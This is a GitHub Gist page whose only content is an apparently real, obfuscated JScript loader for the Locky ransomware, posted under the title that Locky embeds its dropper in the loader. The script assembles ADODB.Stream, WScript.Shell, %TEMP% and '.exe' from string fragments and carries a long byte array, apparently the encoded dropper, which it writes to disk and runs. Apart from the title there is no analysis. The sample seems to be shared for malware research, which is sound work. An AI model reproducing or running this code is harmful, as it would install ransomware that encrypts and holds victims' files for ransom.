Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Locky embeds its dropper in the javascript loader
var Vg3 = "e" + "";
var Ab7 = "clos" + "";
function Zt4(EGk4){return EGk4;};var Du0 = "e" + "";
var Xb1 = "Fil" + "";
var ZOw = "veTo" + "";
var NCn = "Sa" + "";
function IVm2(QZd2){return QZd2;};var ZWu = "t" + "";
var RAs = "eTex" + "";
var Ix40 = "it" + "";
var Bq0 = "wr" + "";
var DPr = "n" + "";
var OJc2 = "ope" + "";
var BGm = "et" + "";
var Cl = "Chars" + "";
var TCm = "e" + "";
var Kn0 = "typ" + "";
var Uc9 = "eam" + "";
var KAk = "tr" + "";
var Su1 = ".S" + "";
var Se7 = "ADODB" + "";
var OYl8 = "ect" + "";
var Vu2 = "eObj" + "";
var Xs7 = "Creat" + "";
function TZt(Tm7){return Tm7;};var FYg4 = "n" + "";
var UXs = "joi" + "";
var DVe5 = "Code" + "";
var ZAn = "mChar" + "";
var Lj5 = "fro" + "";
var Th = "h" + "";
var YOu = "lengt" + "";
var Ua = "push" + "";
function RHb3(MQz){return MQz;};var Qe = "t" + "";
var Oc3 = "CodeA" + "";
var Zf = "char" + "";
var VWz9 = "h" + "";
var Em5 = "lengt" + "";
function BRr9(KYw){return KYw;};var Lg2 = "close" + "";
var Ba0 = "xt" + "";
var Xm8 = "Te" + "";
var GHa9 = "Read" + "";
function WEf9(GFi){return GFi;};var LFh0 = "ile" + "";
var Wg = "omF" + "";
var NZv = "adFr" + "";
var UCc = "Lo" + "";
var Cf = "open" + "";
var FPc6 = "t" + "";
var Wx6 = "arse" + "";
var Sq = "Ch" + "";
function Vc(Be0){return Be0;};var EAf = "pe" + "";
var Bs3 = "ty" + "";
var ZJa = "eam" + "";
var NLw5 = ".Str" + "";
var Ib = "ADODB" + "";
var UKq9 = "ect" + "";
var Jt2 = "eObj" + "";
var Lx3 = "Creat" + "";
var Rl4 = "gth" + "";
var URp9 = "len" + "";
var TOs8 = "h" + "";
var Dd = "lengt" + "";
function ZPr(Ph4){return Ph4;};var Ua6 = "lice" + "";
var Jp2 = "sp" + "";
var Pu9 = "th" + "";
var Ae6 = "leng" + "";
var GFn9 = "h" + "";
var HXq = "lengt" + "";
var Po = "ngth" + "";
var Cy3 = "le" + "";
var PJf9 = "th" + "";
var MZx2 = "leng" + "";
var BQv = "h" + "";
var Ro = "ngt" + "";
var Pa = "le" + "";
var Ep8 = "1" + "";
var QPp2 = " 32" + "";
var PBf6 = "Run" + "";
var Ne5 = "h" + "";
var Ui6 = "gt" + "";
var Ix4 = "len" + "";
var Fx0 = "th" + "";
var Av8 = "leng" + "";
var Gg = "9+/" + "";
var MNm = "5678" + "";
var Ey9 = "01234" + "";
var FJu7 = "xyz" + "";
var Ip = "stuvw" + "";
var St6 = "pqr" + "";
var KWa = "klmno" + "";
var EWt = "hij" + "";
var Wt = "cdefg" + "";
var NPd = "Zab" + "";
var ZOk7 = "WXY" + "";
var Ec8 = "TUV" + "";
var Ax = "PQRS" + "";
var Dr = "LMNO" + "";
var Dk0 = "GHIJK" + "";
var PIu = "EF" + "";
var EOh6 = "ABCD" + "";
var AHh4 = "xe" + "";
var EJj6 = ".e" + "";
var KRm = "3aQM" + "";
var Yb3 = "klY0" + "";
var NOs4 = "/" + "";
var Rg1 = "MP%" + "";
var Ex = "%TE" + "";
var Lr4 = "l" + "";
var Zb = "hel" + "";
var Hv5 = ".S" + "";
var HFk = "cript" + "";
var PJy = "WS" + "";
var Zz2 = "ct" + "";
var AJi = "bje" + "";
var STr = "teO" + "";
var Px = "Crea" + "";
var SYu = "7" + "";
var NTj = "43" + "";
function LDz(Lw7){return Lw7;};function Dd7(Xa7){return Xa7;};var Uk2 = "gth" + "";
var WQm8 = "len" + "";
function Mx(Xf){return Xf;};var JGz = "U" + "";
var XKw0 = "UUUUU" + "";
var Nw0 = "UUUUU" + "";
var PWc = "UUUUU" + "";
var NOt5 = "UUUU" + "";
var Zd = "UUU" + "";
var BBg8 = "UUU" + "";
var XHk4 = "UUU" + "";
var CTi = "32" + "";
var Xc = "11231" + "";
var SPx=((function FEt(){return Xc;}()) + CTi, XHk4 + (function Ec6(){return BBg8;}()) + (function XFw(){return Zd;}()) + Mx(NOt5) + PWc + Nw0 + XKw0 + JGz);
var ONo9=SPx[WQm8 + Uk2];
var VFi = 651077;
var v_bin0 = [198,2,213,81,221,59,246,84,60,252,244,135,217,7,248,38,10,161,219,161,108,155,206,222,221,118,49,152,231,74,232,12,213,44,81,53,171,234,111,183,43,61,87,229,12,120,80,213,77,143,158,37,137,62,228,87,221,171,108,205,80,199,193,128,130,155,119,104,35,236,252,133,253,128,136,156,48,28,31,7,2,96,76,42,45,215,57,189,89,255,107,204,36,241,177,3,32,189,131,59,129,168,88,24,189,98,130,83,120,212,212,15,0,142,128,59,86,180,227,17,215,228,235,98,32,204,230,25,70,104,206,249,149,228,4,10,217,34,77,200,10,225,74,67,227,104,213,255,188,243,92,55,124,132,30,181,63,62,20,85,108,228,27,220,66,116,166,90,46,174,125,135,219,123,74,150,199,229,30,100,39,94,4,43,100,252,71,207,120,74,122,7,80,8,200,38,202,73,124,30,73,110,205,166,33,191,32,244,151,96,38,170,32,31,189,191,19,245,253,66,45,244,119,141,142,209,106,72,133,174,244,5,54,188,86,16,82,155,220,87,52,11,230,229,193,229,82,101,191,55,124,210,235,121,177,217,169,24,56,113,124,157,140,194,70,165,14,254,122,186,226,13,19,111,177,184,77,68,20,103,144,180,151,154,192,24,143,70,155,19,70,116,98,21,220,31,154,232,54,92,112,189,230,91,217,188,48,111,246,8,120,43,73,52,161,154,201,89,60,25,110,60,39,70,46,216,168,19,161,34,36,126,230,177,128,109,25,173,213,52,91,12,148,103,211,90,220,25,145,221,56,141,194,131,88,111,249,178,23,49,244,247,32,149,60,17,120,70,77,158,176,94,62,133,81,137,180,122,188,75,87,108,61,162,188,78,168,220,59,5,8,239,231,240,116,51,137,117,151,5,52,85,126,167,159,228,84,3,140,150,195,173,20,66,77,231,107,123,181,200,3,106,175,3,124,126,195,219,57,88,239,96,225,226,232,134,10,121,131,5,220,83,111,246,68,84,246,186,145,162,162,227,211,214,195,40,194,208,84,72,139,239,128,212,184,8,68,124,6,11,66,181,42,6,81,172,15,250,41,191,16,180,25,74,111,171,217,0,149,240,239,154,241,198,115,198,212,136,188,227,99,251,65,89,163,177,17,229,5,60,231,136,52,160,85,82,2,90,122,231,96,233,35,105,213,119,225,235,74,190,98,95,243,143,104,0,117,204,54,171,227,213,194,172,66,135,151,213,81,183,187,57,99,60,105,249,157,183,128,129,184,127,220,12,1,255,29,48,205,165,215,201,29,25,94,157,113,21,3,218,63,222,116,86,158,223,93,138,113,0,145,117,240,226,37,168,66,136,251,145,9,210,98,102,75,174,229,182,191,184,64,131,230,1,68,72,101,5,134,91,71,249,3,13,125,150,82,246,106,72,220,37,13,205,159,245,4,149,43,202,178,45,187,104,36,92,93,1,86,202,68,122,180,199,14,212,20,170,108,171,179,247,114,60,91,185,131,85,134,241,110,237,215,168,47,13,211,107,113,131,214,156,49,75,230,45,229,183,92,70,43,161,154,80,244,179,132,126,250,55,32,59,238,46,62,125,62,220,149,150,164,173,163,113,38,252,145,91,203,16,34,207,14,180,49,92,36,30,123,248,98,88,227,133,4,100,166,33,114,62,87,7,172,138,112,16,25,0,217,5,64,128,125,110,182,69,164,42,139,231,215,16,71,213,14,76,57,157,182,173,137,160,184,75,178,162,76,191,209,93,167,221,123,22,192,91,189,136,115,25,100,149,181,130,185,167,0,84,118,72,242,22,105,61,42,129,72,158,96,120,171,52,228,104,140,213,166,89,38,64,91,205,46,59,79,25,39,53,255,230,63,59,92,225,164,129,204,62,4,212,170,224,222,25,145,24,142,178,91,6,245,10,195,230,25,16,92,49,11,231,156,16,240,60,88,209,182,250,143,78,124,231,96,12,47,18,229,219,174,237,35,228,160,8,183,91,191,42,6,193,76,10,195,196,195,99,143,181,93,77,153,240,0,67,3,176,171,91,94,192,65,105,16,107,126,255,50,249,222,19,180,139,168,29,199,57,30,15,173,20,243,241,239,36,26,89,85,116,100,35,212,186,159,166,60,64,17,156,165,215,38,227,197,138,241,143,207,12,128,254,37,106,36,125,116,252,137,104,86,197,194,191,162,124,44,49,38,188,137,8,182,92,222,40,56,169,74,23,23,141,142,160,83,116,143,217,223,131,145,208,128,95,45,177,198,75,64,70,58,170,26,25,149,13,16,213,249,52,45,71,231,61,116,98,178,88,255,27,166,216,10,167,59,189,135,47,186,28,13,1,49,81,182,250,54,171,190,53,20,45,177,168,101,162,226,85,6,128,88,134,90,57,214,2,121,253,190,230,86,203,146,242,174,24,250,13,180,74,254,51,77,28,122,58,209,171,245,130,34,204,169,121,184,63,58,41,34,169,137,72,115,125,60,149,105,246,131,33,181,229,33,246,48,37,112,97,229,147,1,246,35,239,117,123,231,211,121,192,50,61,99,235,201,176,22,87,242,2,168,131,248,248,177,87,105,51,125,253,243,252,28,63,92,29,68,150,150,11,62,226,13,58,85,59,10,2,104,114,247,234,231,240,248,150,169,229,231,15,118,44,136,161,237,35,51,101,234,50,53,226,16,205,6,56,178,10,87,80,217,6,106,171,132,247,165,137,208,162,114,198,44,132,191,144,66,202,148,63,72,115,113,82,197,51,32,121,77,154,124,119,153,175,50,100,160,194,126,163,83,77,244,192,22,157,141,186,163,228,174,208,218,69,181,138,237,189,135,30,50,87,137,200,128,5,18,118,141,12,102,76,76,225,251,95,89,33,221,208,81,130,249,1,216,200,152,55,35,26,41,110,238,65,34,180,221,235,188,139,41,123,233,198,2,146,20,87,160,53,59,199,146,81,0,213,212,248,117,169,215,30,65,251,201,148,141,116,130,167,184,148,7,199,165,58,122,154,167,245,30,39,132,190,192,133,167,162,205,180,46,167,216,172,2,89,239,220,185,113,47,167,197,210,200,245,34,183,90,212,178,4,252,173,24,72,82,222,229,245,38,105,244,82,89,78,61,25,167,18,253,198,148,167,22,12,77,141,182,231,224,145,123,209,51,194,164,204,132,177,123,36,28,252,42,222,46,103,1,181,251,183,40,207,171,115,209,222,178,136,29,184,87,144,129,224,211,150,250,109,67,101,200,121,253,62,173,111,250,210,121,87,97,220,102,216,144,3,123,200,165,50,15,241,57,213,46,94,166,63,179,232,23,153,146,28,227,200,28,46,27,113,210,188,135,204,115,64,185,4,108,35,21,65,143,107,161,168,2,35,223,242,15,185,110,246,192,119,142,230,248,178,112,26,178,119,98,124,223,230,104,129,89,218,117,124,188,204,218,215,113,75,158,71,224,84,140,99,251,128,183,2,65,59,136,11,110,139,30,239,158,86,17,172,238,27,221,102,60,246,211,35,52,70,182,255,116,209,142,240,186,205,250,219,39,117,224,56,30,156,233,253,65,249,72,68,255,99,127,124,54,116,42,7,254,152,186,187,196,82,71,69,95,129,230,113,175,130,47,254,35,36,40,86,33,28,166,90,244,213,100,245,78,153,218,246,150,188,220,51,252,98,6,205,14,16,20,134,33,168,72,53,92,220,183,64,246,189,145,155,91,144,172,153,229,198,39,67,176,0,150,32,39,233,96,229,52,155,19,5,60,205,240,231,245,26,246,66,51,56,96,155,235,47,86,16,50,75,168,105,162,46,22,191,243,244,240,133,2,65,117,172,158,151,81,253,247,235,158,61,185,130,7,16,73,159,114,146,211,241,231,189,255,143,238,100,163,121,128,244,86,132,87,181,211,41,230,132,163,244,26,77,199,170,193,109,191,212,219,253,9,45,4,49,113,195,213,188,207,43,50,203,61,71,164,203,69,15,44,7,247,218,5,9,6,23,49,15,56,184,7,242,251,203,248,228,20,238,6,141,255,30,142,59,85,31,168,50,105,71,202,232,169,207,42,201,70,132,221,120,109,26,170,86,14,170,5,186,62,132,63,87,236,178,42,28,174,160,158,198,137,139,7,32,201,31,26,203,166,187,163,131,100,63,170,243,123,148,81,244,140,157,153,200,44,151,122,61,94,30,42,12,119,5,109,182,113,15,184,13,245,243,182,142,176,106,194,228,179,44,141,229,52,17,233,165,40,28,215,199,235,163,82,173,170,151,179,51,221,126,107,121,251,125,35,1,131,240,184,219,98,211,166,140,174,206,152,237,73,154,167,42,178,1,122,18,217,194,33,152,179,132,48,226,152,60,247,67,128,150,103,73,42,238,13,178,28,77,104,183,66,218,152,210,58,127,27,26,245,247,173,219,92,198,35,119,53,163,98,6,101,171,27,8,216,132,190,106,46,62,168,63,120,107,183,157,218,1,121,209,63,49,101,132,181,239,25,196,220,169,134,151,139,170,134,56,138,217,102,89,201,215,113,10,50,244,128,54,131,122,211,190,106,162,183,9,161,183,49,146,233,9,164,151,61,83,166,115,113,237,189,38,170,203,174,188,177,26,47,236,137,248,139,98,47,157,161,39,171,49,18,75,189,242,29,113,39,197,138,27,79,217,112,183,218,200,36,48,255,231,104,164,87,60,72,124,215,118,44,130,216,235,231,23,34,71,121,94,224,21,101,58,115,209,204,208,205,42,226,71,26,209,209,37,179,79,74,238,107,136,68,12,46,34,197,134,52,111,9,90,252,148,163,239,159,116,116,114,72,115,134,168,94,105,250,76,89,222,165,181,47,195,156,11,218,118,74,232,244,228,67,16,119,105,236,110,163,15,246,26,231,86,174,152,122,128,15,67,123,63,38,9,100,5,192,237,228,200,158,82,129,52,107,230,167,144,241,198,122,155,214,125,181,162,178,36,253,2,108,31,243,38,57,198,128,125,93,180,160,167,238,35,245,2,18,211,11,36,168,122,224,115,196,154,114,116,51,221,251,116,140,91,57,215,16,244,180,240,67,173,135,231,169,33,165,63,214,193,209,4,195,179,80,253,223,161,39,124,129,34,207,111,222,218,108,115,130,167,187,246,26,90,194,141,51,100,53,156,1,98,24,190,169,103,155,228,245,147,240,169,63,172,138,177,224,13,113,163,149,78,54,77,91,50,120,235,168,170,182,17,182,51,98,211,197,71,234,43,202,165,31,1,241,87,109,111,16,90,249,53,218,186,36,201,50,60,99,25,45,38,33,18,17,163,209,208,132,244,137,232,85,186,136,252,94,79,149,20,152,1,117,207,82,148,31,136,60,116,19,226,23,10,185,6,222,48,223,130,252,104,215,155,193,192,196,243,19,82,167,125,121,63,53,7,46,141,44,190,64,240,29,169,248,115,111,103,13,93,63,215,214,238,190,4,81,97,162,54,69,191,49,42,106,39,96,87,151,15,98,43,122,179,0,183,204,204,209,204,229,50,59,36,6,216,122,244,125,66,158,186,127,254,126,218,27,138,219,113,47,88,206,169,232,90,180,14,86,206,135,38,142,246,179,84,184,39,206,236,193,217,49,115,23,50,15,114,133,21,29,246,208,6,244,67,40,185,141,113,217,65,17,43,188,75,117,67,1,69,250,72,151,218,227,167,48,220,171,123,96,115,219,165,230,78,140,190,139,1,21,2,208,4,101,166,143,195,111,155,186,172,109,205,48,164,136,51,13,127,205,237,79,107,86,1,138,163,90,97,35,56,23,236,194,183,212,161,221,152,206,57,199,182,96,69,230,112,188,162,247,177,174,6,226,84,78,75,20,49,169,94,17,224,102,255,20,171,220,22,34,163,12,220,100,208,182,67,222,118,137,217,249,161,244,134,206,125,165,59,229,188,58,202,119,31,202,44,218,35,235,46,91,176,222,207,6,129,205,252,2,84,231,117,221,208,74,194,124,74,180,250,119,154,44,231,37,174,172,61,110,98,188,66,81,179,171,113,54,91,211,79,209,250,7,82,59,252,76,28,133,50,115,111,200,118,194,243,158,243,220,199,197,13,0,54,40,70,5,61,165,119,236,58,201,181,81,93,192,48,128,222,118,218,235,207,59,111,177,124,160,173,59,144,122,230,197,188,107,37,205,57,157,219,211,19,51,107,70,47,235,64,95,146,188,33,96,139,181,175,13,175,82,253,112,102,63,185,213,71,108,64,203,114,44,254,19,189,5,194,49,120,73,84,106,160,37,132,191,210,239,75,23,180,140,230,139,110,190,172,185,1,72,183,202,201,112,238,19,203,229,136,232,71,26,97,176,235,235,192,132,113,191,131,246,13,187,114,86,254,177,14,118,167,169,93,66,224,116,46,147,211,174,164,248,114,80,1,216,21,111,212,178,142,217,213,188,32,65,182,107,35,28,103,4,227,169,117,209,105,138,221,65,12,23,135,102,38,109,28,78,238,5,131,199,162,195,6,153,7,235,50,227,112,212,157,49,124,171,49,102,97,58,58,36,76,89,152,9,217,213,41,100,35,48,109,199,12,149,97,180,137,186,238,77,158,137,73,190,222,129,149,161,87,75,74,157,208,241,29,118,214,39,168,58,12,214,87,191,177,217,8,219,49,188,18,55,85,80,129,226,236,194,176,115,253,121,203,185,170,45,197,149,127,169,8,146,126,124,54,155,169,208,97,154,97,58,148,63,174,3,17,62,242,124,180,146,152,254,197,187,139,165,61,163,250,109,254,59,159,19,113,182,42,100,49,225,97,47,227,173,1,39,50,68,161,137,200,113,126,83,212,155,158,162,139,104,83,234,42,132,87,211,134,69,81,211,179,181,112,184,156,76,157,6,188,12,189,237,237,214,138,122,180,196,66,34,149,181,180,115,238,155,36,116,249,126,2,116,174,182,15,41,139,100,206,118,94,218,91,143,99,201,60,137,71,221,168,20,199,72,154,85,80,237,160,8,21,230,39,64,129,48,81,7,190,141,249,107,122,99,67,223,195,214,6,67,202,197,196,238,85,170,70,147,178,124,145,134,54,110,56,86,158,64,21,32,228,96,179,219,194,227,151,234,13,236,142,84,160,49,148,185,121,34,217,250,58,132,112,83,13,138,216,45,250,146,201,23,114,135,16,185,161,172,240,185,75,82,113,14,72,177,2,79,40,57,252,89,140,182,52,26,39,48,72,220,217,181,231,0,88,250,64,119,97,18,73,119,208,79,10,229,41,60,111,110,86,250,105,96,21,188,116,68,67,155,42,158,98,44,2,36,54,109,176,250,215,167,218,9,78,71,9,238,167,18,223,48,222,45,142,39,5,58,165,122,26,5,38,175,84,75,201,59,170,54,101,213,163,46,230,199,117,245,60,88,8,137,253,164,209,72,225,2,188,198,194,76,175,125,63,230,154,177,135,159,109,118,64,132,139,123,111,80,81,122,0,253,171,242,32,24,174,49,80,236,229,132,75,209,233,188,80,61,195,252,190,107,6,144,144,192,1,53,74,222,95,159,68,142,221,152,139,173,215,136,128,202,31,169,86,170,131,201,136,220,201,3,116,245,82,130,19,141,166,179,169,211,56,30,225,49,200,192,120,94,132,132,47,61,247,246,120,215,4,95,206,239,138,100,24,105,156,53,165,217,224,43,18,44,41,238,49,179,138,247,147,183,196,152,118,113,141,56,234,240,34,184,57,104,155,93,43,197,22,247,74,90,11,217,198,23,7,200,49,32,243,249,238,229,187,3,57,30,81,49,184,106,58,36,105,56,101,188,47,163,137,124,33,57,72,76,84,230,230,212,4,153,74,136,194,83,149,109,184,23,28,112,57,132,185,26,222,123,69,37,76,85,181,113,166,220,86,122,140,18,85,197,77,107,244,101,21,162,67,254,189,56,136,78,161,173,33,168,217,150,80,160,142,160,214,132,90,91,220,170,172,21,102,21,30,144,80,29,221,173,60,80,153,19,126,238,195,172,254,69,194,229,250,171,125,209,247,216,64,223,81,7,206,13,239,91,164,237,168,86,163,173,1,191,51,155,213,32,95,149,30,74,141,9,224,204,138,228,198,242,81,53,220,130,94,253,251,35,115,115,54,178,95,135,14,126,248,132,99,210,207,19,155,204,91,231,228,87,236,37,250,122,195,199,212,34,83,243,142,216,86,6,159,216,60,70,251,191,6,30,159,140,7,57,198,228,121,133,117,156,89,176,52,171,12,111,67,255,126,137,26,156,32,110,195,182,74,117,62,152,78,204,170,38,56,16,202,78,11,128,79,71,77,85,123,119,115,225,152,67,35,185,216,219,199,208,185,194,68,22,43,114,109,147,89,50,152,58,126,165,247,43,137,162,127,68,86,241,222,7,234,105,43,105,64,103,204,72,75,81,63,67,229,128,101,109,91,181,198,146,14,30,113,12,72,100,212,47,127,173,62,157,37,96,201,224,219,76,130,227,244,164,47,201,229,87,191,5,225,95,215,255,142,135,192,82,125,39,44,153,7,6,2,74,198,148,105,154,154,208,99,226,224,97,82,241,128,235,212,115,190,34,224,127,101,210,136,158,155,42,79,7,47,98,126,183,216,216,96,161,23,60,123,15,85,134,55,169,131,110,57,229,86,18,196,223,132,91,86,111,236,1,135,91,5,38,245,90,240,216,112,247,196,20,166,41,168,144,183,41,116,19,17,212,131,173,254,36,95,76,70,221,98,138,132,47,211,67,202,29,184,120,149,157,34,164,119,176,133,60,222,193,173,12,170,91,169,77,245,199,117,21,21,78,150,151,250,19,116,190,214,204,55,27,156,140,134,211,74,20,38,162,121,165,249,232,163,100,202,225,225,37,97,146,199,195,207,92,255,157,195,193,155,107,62,225,125,103,103,225,100,56,9,57,49,65,95,193,108,151,107,244,1,255,27,153,1,68,117,226,8,237,141,25,87,198,236,211,43,36,19,255,102,237,164,150,179,248,224,193,235,192,233,221,8,226,152,82,72,103,88,119,28,127,232,136,81,206,246,133,33,16,223,238,100,73,177,156,168,205,29,93,255,113,0,98,27,70,24,43,74,218,218,1,47,35,244,0,34,183,3,100,34,68,146,99,14,251,77,20,19,10,43,70,118,3,196,34,162,255,144,77,202,222,26,38,185,226,82,91,45,30,146,47,244,31,81,32,17,68,96,166,143,68,172,120,124,212,116,213,72,219,119,146,156,79,216,225,42,160,221,122,71,255,118,250,146,137,249,224,144,94,218,112,125,218,26,88,18,65,77,208,83,7,137,125,50,178,241,159,45,58,210,94,173,61,120,163,67,138,5,31,70,100,100,48,21,194,124,225,23,210,43,208,12,237,120,252,221,220,148,52,2,90,147,0,51,15,168,71,122,191,142,218,65,158,171,198,209,193,162,53,210,72,134,87,26,166,4,187,57,136,108,170,49,100,43,221,92,156,194,154,10,99,1,190,87,105,57,233,121,136,107,239,179,219,10,145,217,165,79,141,222,184,51,62,51,136,185,123,173,217,12,49,242,136,142,172,217,34,231,165,218,163,60,101,84,159,20,31,17,193,13,191,118,50,95,9,95,123,16,142,195,49,152,45,235,49,209,35,97,226,90,141,38,216,140,61,36,149,36,114,39,86,239,61,142,222,247,131,122,174,34,132,210,36,226,195,207,91,28,234,66,77,30,88,112,251,25,255,115,83,9,218,76,248,41,77,62,185,169,150,108,225,144,149,36,26,18,224,251,110,206,240,127,34,93,94,36,188,169,93,38,142,169,188,253,174,87,10,16,195,49,128,134,131,5,175,155,255,176,187,22,163,79,194,252,73,234,112,5,254,128,212,91,161,195,99,254,44,19,237,58,111,189,24,254,233,199,222,227,3,14,116,138,143,206,67,160,81,85,252,162,7,186,200,16,27,47,210,0,232,187,35,58,142,231,156,57,217,135,211,120,128,152,131,245,228,179,45,144,130,108,57,80,11,86,116,184,71,3,89,101,6,3,82,205,250,32,255,214,134,167,50,220,82,86,216,17,222,146,107,45,15,42,8,212,7,122,166,124,31,251,49,251,60,40,231,107,21,138,43,60,136,66,199,165,104,204,86,97,83,134,134,109,132,137,65,27,70,57,33,233,220,128,136,74,36,165,64,24,94,113,180,66,150,53,48,6,133,17,83,19,36,15,131,26,63,222,43,201,137,167,141,175,3,15,38,58,69,47,188,180,162,40,220,15,123,123,212,87,34,61,202,237,33,8,156,206,40,249,186,122,168,106,35,198,109,125,73,184,6,233,248,86,192,201,172,74,231,7,234,157,10,49,168,84,75,177,81,7,250,135,132,117,7,38,229,244,184,140,252,222,12,182,0,179,88,43,113,23,1,102,196,111,91,29,213,141,191,43,44,125,187,4,53,65,247,194,40,155,165,148,251,45,125,128,214,161,164,248,188,41,49,249,194,65,171,252,68,172,162,227,201,156,14,109,231,22,0,119,115,133,189,249,71,253,49,159,157,71,108,249,48,30,1,232,0,164,74,81,1,83,106,186,185,50,159,119,180,113,65,72,216,240,37,151,25,250,205,119,22,161,16,216,203,103,43,243,144,199,68,231,56,55,209,169,82,84,230,125,174,34,130,49,114,124,234,192,109,121,211,129,252,121,121,213,68,197,38,48,148,67,76,236,65,117,64,16,14,211,12,163,126,104,106,190,157,85,62,200,72,90,197,6,237,252,55,209,31,34,111,211,180,31,185,185,219,139,138,236,201,197,227,159,132,52,207,234,246,22,251,254,78,205,190,230,142,131,64,77,223,109,21,154,4,126,199,251,109,145,149,112,31,81,101,62,137,126,12,202,78,187,11,215,184,91,46,54,137,143,14,56,97,175,85,83,45,148,241,95,213,185,193,18,157,183,254,136,218,234,231,80,218,223,125,173,34,230,80,111,15,114,104,183,191,169,134,214,4,17,61,18,189,146,79,228,126,230,223,246,166,80,42,165,15,140,223,132,233,133,74,147,163,108,178,152,182,84,247,159,166,173,24,53,111,145,139,249,100,80,137,12,58,230,132,178,211,217,105,117,51,227,184,110,82,152,138,5,199,130,150,190,202,84,159,186,213,225,252,116,227,61,34,3,96,251,245,110,122,228,207,91,11,118,127,255,92,172,212,149,217,126,183,210,36,67,182,135,15,218,5,214,138,231,192,61,217,232,90,21,196,144,78,12,154,208,17,187,84,117,24,37,87,44,41,1,207,117,31,76,114,185,65,76,208,168,179,192,200,4,34,91,174,157,79,238,148,171,208,24,41,156,66,156,81,51,99,75,7,220,230,250,50,120,193,182,85,191,5,23,138,177,136,138,116,156,230,92,29,148,122,230,220,220,225,119,223,106,75,22,123,13,227,254,63,72,253,112,68,164,120,143,210,189,212,164,136,142,112,2,183,30,247,130,173,253,222,72,234,48,34,207,198,147,62,161,2,223,178,4,71,149,214,84,202,225,249,3,233,65,131,75,26,10,156,103,239,117,185,102,24,105,110,210,27,7,86,76,52,24,144,78,236,172,138,44,77,196,73,75,80,114,156,181,163,164,241,93,140,231,223,57,112,109,240,124,22,134,243,184,246,243,34,238,29,72,39,23,66,238,48,44,96,133,194,110,42,105,172,85,98,58,109,216,209,144,234,12,120,230,80,210,213,64,70,214,205,163,233,1,233,158,93,197,22,11,7,94,10,247,4,60,120,254,45,153,56,48,152,54,240,68,93,232,52,11,139,221,100,202,23,177,98,108,251,17,199,152,165,196,88,94,170,210,60,31,226,169,231,124,108,11,192,150,112,59,211,215,168,145,145,230,249,192,235,32,222,253,33,219,219,94,245,246,82,85,54,236,156,128,157,76,86,211,210,244,108,87,139,159,173,19,128,249,158,197,38,69,211,153,255,119,122,85,33,204,40,242,251,228,104,174,102,73,12,198,166,198,248,128,217,31,173,23,157,167,176,193,164,7,196,166,129,181,172,232,99,127,70,194,128,110,101,187,79,23,148,31,54,42,149,252,159,109,239,45,15,130,246,116,223,214,117,86,141,200,52,202,20,100,131,183,174,204,53,142,114,223,83,86,238,120,237,22,232,10,166,126,147,196,32,231,128,62,237,59,132,168,30,195,91,97,47,119,69,145,246,226,205,251,2,221,155,207,147,36,147,124,133,80,207,112,79,26,216,216,177,231,58,223,208,41,59,27,143,224,139,237,101,19,80,185,74,130,142,9,0,15,135,232,6,193,90,251,130,240,202,182,108,124,192,99,199,71,165,141,219,155,206,111,201,104,136,62,233,188,61,236,43,26,67,191,34,31,145,98,228,169,189,129,252,114,249,254,80,89,134,249,131,207,164,255,122,91,93,211,72,101,166,44,155,200,136,97,195,116,163,94,28,187,149,158,189,146,109,136,48,132,255,64,187,212,193,220,181,88,51,94,221,174,243,226,126,14,81,146,128,174,174,43,243,121,118,11,83,29,200,21,226,229,11,4,115,243,18,248,121,28,35,248,210,92,54,94,152,119,17,163,174,190,110,56,81,120,146,27,63,191,171,10,3,37,110,172,39,246,120,80,31,246,25,128,140,174,218,227,155,61,187,105,97,47,28,134,222,175,89,188,119,186,168,10,173,124,187,57,20,20,202,222,154,38,39,102,130,61,66,92,104,42,104,89,244,203,129,119,41,31,234,112,20,213,47,220,89,200,242,154,58,135,93,230,98,193,35,164,245,17,0,79,172,49,252,36,67,22,209,50,99,111,144,252,168,243,184,10,61,126,121,36,129,53,123,242,51,234,241,30,215,144,251,200,110,254,8,29,169,80,61,204,169,177,230,103,75,138,12,149,83,66,97,11,215,21,117,50,120,248,168,123,183,149,170,5,106,37,250,88,146,47,69,200,240,76,47,69,32,134,69,78,174,174,127,212,214,216,213,123,73,219,123,64,149,124,222,137,205,170,15,194,255,138,239,251,70,87,137,184,142,51,4,233,221,196,7,78,53,144,112,88,90,30,136,203,116,129,200,52,192,133,220,204,219,237,223,167,133,239,180,136,213,65,157,168,122,97,23,236,231,156,140,140,68,131,193,85,126,108,45,145,50,233,154,99,249,208,137,38,218,157,201,129,122,60,94,250,105,82,38,207,145,188,44,128,69,26,208,15,170,141,51,241,95,217,114,230,234,38,180,177,200,169,152,105,210,105,118,66,180,183,123,188,105,14,132,59,223,39,65,62,110,22,221,113,173,164,11,37,232,161,222,213,232,73,168,248,111,105,55,193,14,134,56,231,179,165,147,41,254,180,183,224,170,214,76,116,253,193,15,28,33,137,55,174,71,47,96,190,139,88,251,154,174,229,101,112,196,122,37,96,99,130,187,217,234,21,78,219,160,110,252,239,141,160,182,252,58,48,17,87,189,37,150,61,8,71,104,58,225,1,224,19,192,47,97,113,251,112,9,77,188,133,191,171,242,110,247,72,46,224,129,74,239,242,7,163,214,11,143,4,37,114,41,77,190,215,180,221,235,43,33,251,100,219,82,218,183,46,181,21,175,214,6,131,156,118,32,39,118,35,143,142,34,14,214,109,129,96,137,171,208,20,85,107,7,183,48,89,86,206,232,0,253,45,247,200,32,44,5,140,215,169,139,179,203,193,103,9,172,229,141,238,179,87,53,228,54,16,199,85,62,177,39,11,88,66,216,128,161,184,14,42,211,23,209,56,122,177,53,141,147,230,105,13,0,82,38,143,124,223,71,34,164,97,107,206,241,87,94,92,150,17,213,87,185,175,123,228,57,27,86,7,85,97,85,78,53,240,212,4,168,195,179,111,16,206,83,201,122,90,231,42,141,147,211,237,11,105,182,38,231,168,152,100,156,215,248,230,252,13,14,236,163,27,189,117,166,229,15,43,149,11,57,60,254,172,12,184,26,115,95,94,237,53,227,103,177,121,22,151,137,183,133,215,54,63,104,5,105,121,114,49,187,70,238,229,217,6,100,10,30,189,68,210,59,231,147,3,49,162,145,74,127,7,17,115,211,245,33,27,119,16,220,189,216,12,146,167,167,197,36,131,195,139,85,8,186,241,216,169,87,122,14,203,36,181,224,192,210,25,249,23,248,40,174,32,69,123,13,214,99,211,201,206,14,255,163,200,110,84,23,66,218,172,205,32,239,250,57,206,162,207,6,83,235,246,42,224,83,198,245,178,108,98,245,248,194,1,249,221,165,93,118,22,157,181,198,229,163,124,47,205,191,133,191,172,135,92,174,148,83,194,155,208,247,149,149,44,199,48,196,233,79,69,172,111,171,111,205,208,4,18,228,30,137,208,150,76,216,200,253,102,97,225,85,173,205,145,87,43,158,85,126